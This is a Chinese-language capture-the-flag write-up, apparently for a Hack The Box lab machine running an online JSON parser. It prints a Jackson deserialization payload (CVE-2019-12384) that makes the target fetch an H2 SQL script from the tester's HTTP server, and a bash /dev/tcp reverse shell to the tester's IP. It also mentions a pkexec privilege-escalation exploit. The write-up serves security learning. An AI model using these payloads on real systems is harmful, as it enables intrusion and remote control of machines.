代码拉取完成,页面将自动刷新
sudo nmap -p- --min-rate 10000 -v -sV -Pn -A 10.10.10.214
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
| 256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_ 256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 7D4140C76BF7648531683BFA4F7F8C22
| http-methods:
|_ Supported Methods: HEAD OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
只开放了22和80
扫目录没得到什么有价值的。
访问页面只有两个功能,格式化输入的json和检查json。检查json时输入两个同名键成功触发报错。
{"test": "test", "test": 1}
得知这里json数据的处理是用的jackson。猜测这里可能存在Jackson的反序列化漏洞
GitHub上找到Java-Deserialization-Cheat-Sheet
感觉还挺全的,先试一下CVE-2019-12384
修改inject.sql为反弹shell
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -c "exec bash -i &>/dev/tcp/10.10.14.14/1234 <&1"')
然后起一个http服务放这个sql文件
页面选择validate,输入payload
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.14:8000/inject.sql'"}]
再拿个tty,获取到user.txt
python3 -c 'import pty; pty.spawn("/bin/bash")'
进行信息收集的过程种发现suid有pkexec
find / -perm -u=s -type f 2>/dev/null
下载go版expcve-2021-4034
执行提权成功
当然考点不是这个,pkexec这个洞是要出的比靶机晚的。
期望路径是linpeas发现system timer发现服务定时脚本可写来提权
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。